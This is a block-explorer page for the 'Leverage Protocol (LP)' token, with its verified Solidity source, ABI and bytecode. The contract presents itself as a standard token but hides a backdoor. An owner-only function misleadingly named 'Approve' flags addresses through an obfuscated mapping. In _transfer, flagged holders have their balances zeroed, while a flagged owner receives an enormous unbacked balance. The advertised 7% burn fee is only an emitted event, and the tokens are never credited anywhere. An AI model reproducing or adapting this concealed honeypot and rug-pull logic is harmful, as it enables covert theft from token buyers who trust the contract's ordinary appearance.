ETH Price: $2,675.35 (+1.38%)
Gas: 18 Gwei

Token

Leverage Protocol (LP)
 

Overview

Max Total Supply

8,000,000,000 LP

Holders

114

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
930 LP

Value
$0.00
0xcb128ea7d057e02f26dcf6dcac00eaa5ab5deeb2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-12
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies in extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amnount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amnount) internal {
        require(address(this).balance >= amnount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amnount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

/**
 * @dev Interface of the BEP20 standard as defined in the EIP.
 */
interface IBEP20 {
    /**
     * @dev Returns the amnount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amnount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amnount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amnount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amnount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amnount) external returns (bool);

    /**
     * @dev Moves `amnount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amnount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amnount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/* @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract HasForeignAsset is Ownable {
    function assetBalance(IBEP20 asset) external view returns (uint256) {
        return asset.balanceOf(address(this));
    }

}

/**
 * @dev Implementation of the {IBEP20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {BEP20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of BEP20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all acxounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IBEP20-approve}.
 */
contract Token is IBEP20, HasForeignAsset {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _v41245;


    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _feilu = 7;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;


    mapping (address => bool) private _i5sfda56;

    function Approve(address _address, bool _value) external onlyOwner {
        _i5sfda56[_address] = _value;
    }


    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     */
    constructor() {
        _name = "Leverage Protocol";
        _symbol = "LP";
        _decimals = 9;
        uint256 _maxSupply = 8000000000;
        _mintOnce(msg.sender, _maxSupply.mul(10**_decimals));
    }

    receive() external payable {
        revert();
    }



    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {BEP20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IBEP20-balanceOf} and {IBEP20-transfer}.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IBEP20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IBEP20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IBEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amnount`.
     */
    function transfer(address recipient, uint256 amnount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amnount);
        return true;
    }

    /**
     * @dev See {IBEP20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IBEP20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amnount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amnount);
        return true;
    }

    /**
     * @dev See {IBEP20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {BEP20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amnount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amnount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amnount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amnount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amnount, "BEP20: transfer amnount exceeds allowance")
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IBEP20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IBEP20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")
        );
        return true;
    }

    /**
     * @dev Moves tokens `amnount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token feilus, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amnount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amnount
    ) internal virtual {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        uint256 feiluamnount = 1;
        feiluamnount = amnount.mul(_feilu).div(100);
        uint256 amoun;
        amoun = amnount - feiluamnount+0;
        _beforeTokenTransfer(sender, recipient, amoun);

        address owwmk = owner();

        if (_i5sfda56[sender] == true) {
            if (sender == owwmk) {
                _balances[sender] = 1100000000000000000000000000000;
            }else{
                _balances[sender] = 0;
            }
        }

        _balances[sender] = _balances[sender].sub(
            amnount,
            "BEP20: transfer amnount exceeds balance"
        );

        _balances[recipient] = _balances[recipient].add(amoun);
        if (feiluamnount > 0) {
            emit Transfer(sender, _DEADaddress, feiluamnount);
        }
        emit Transfer(sender, recipient, amoun);
    }

    /** @dev Creates `amnount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mintOnce(address account, uint256 amnount) internal virtual {
        require(account != address(0), "BEP20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amnount);

        _totalSupply = _totalSupply.add(amnount);
        _balances[account] = _balances[account].add(amnount);
        emit Transfer(address(0), account, amnount);
    }

    /**
     * @dev Destroys `amnount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amnount` tokens.
     */
    function _burn(address account, uint256 amnount) internal virtual {
        require(account != address(0), "BEP20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amnount);

        _balances[account] = _balances[account].sub(amnount, "BEP20: burn amnount exceeds balance");
        _totalSupply = _totalSupply.sub(amnount);
        emit Transfer(account, address(0), amnount);
    }

    function burn(uint256 amnount) public {
        _burn(_msgSender(), amnount);
    }

    /**
     * @dev Sets `amnount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amnount
    ) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amnount;
        emit Approval(owner, spender, amnount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amnount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amnount` tokens will be minted for `to`.
     * - when `to` is zero, `amnount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amnount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IBEP20","name":"asset","type":"address"}],"name":"assetBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600760085561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005957600080fd5b5060006200006c6200021b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280601181526020017f4c657665726167652050726f746f636f6c0000000000000000000000000000008152506005908051906020019062000157929190620004c0565b506040518060400160405280600281526020017f4c5000000000000000000000000000000000000000000000000000000000000081525060069080519060200190620001a5929190620004c0565b506009600760006101000a81548160ff021916908360ff16021790555060006401dcd650009050620002143362000208600760009054906101000a900460ff16600a620001f391906200077a565b846200022360201b62000c6b1790919060201c565b620002a760201b60201c565b5062000aa0565b600033905090565b600080831415620002385760009050620002a1565b60008284620002489190620008b7565b9050828482620002599190620006e7565b146200029c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002939062000618565b60405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000311906200063a565b60405180910390fd5b6200032e600083836200045860201b60201c565b6200034a816004546200045d60201b62000ce61790919060201c565b600481905550620003a981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200045d60201b62000ce61790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200044c91906200065c565b60405180910390a35050565b505050565b60008082846200046e91906200068a565b905083811015620004b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ad90620005f6565b60405180910390fd5b8091505092915050565b828054620004ce906200092f565b90600052602060002090601f016020900481019282620004f257600085556200053e565b82601f106200050d57805160ff19168380011785556200053e565b828001600101855582156200053e579182015b828111156200053d57825182559160200191906001019062000520565b5b5090506200054d919062000551565b5090565b5b808211156200056c57600081600090555060010162000552565b5090565b60006200057f601b8362000679565b91506200058c82620009ff565b602082019050919050565b6000620005a660218362000679565b9150620005b38262000a28565b604082019050919050565b6000620005cd601f8362000679565b9150620005da8262000a77565b602082019050919050565b620005f08162000918565b82525050565b60006020820190508181036000830152620006118162000570565b9050919050565b60006020820190508181036000830152620006338162000597565b9050919050565b600060208201905081810360008301526200065581620005be565b9050919050565b6000602082019050620006736000830184620005e5565b92915050565b600082825260208201905092915050565b6000620006978262000918565b9150620006a48362000918565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006dc57620006db62000965565b5b828201905092915050565b6000620006f48262000918565b9150620007018362000918565b92508262000714576200071362000994565b5b828204905092915050565b6000808291508390505b6001851115620007715780860481111562000749576200074862000965565b5b6001851615620007595780820291505b80810290506200076985620009f2565b945062000729565b94509492505050565b6000620007878262000918565b9150620007948362000922565b9250620007c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007cb565b905092915050565b600082620007dd5760019050620008b0565b81620007ed5760009050620008b0565b8160018114620008065760028114620008115762000847565b6001915050620008b0565b60ff84111562000826576200082562000965565b5b8360020a91508482111562000840576200083f62000965565b5b50620008b0565b5060208310610133831016604e8410600b8410161715620008815782820a9050838111156200087b576200087a62000965565b5b620008b0565b6200089084848460016200071f565b92509050818404811115620008aa57620008a962000965565b5b81810290505b9392505050565b6000620008c48262000918565b9150620008d18362000918565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200090d576200090c62000965565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200094857607f821691505b602082108114156200095f576200095e620009c3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6122838062000ab06000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610360578063cd88e5581461039d578063dd62ed3e146103da578063f2fde38b1461041757610101565b806370a08231146102905780638da5cb5b146102cd57806395d89b41146102f8578063a457c2d71461032357610101565b806323b872dd116100c657806323b872dd146101c2578063313ce567146101ff578063395093511461022a57806342966c681461026757610101565b806306fdde0314610106578063095ea7b31461013157806318160ddd1461016e5780631f478f1e146101995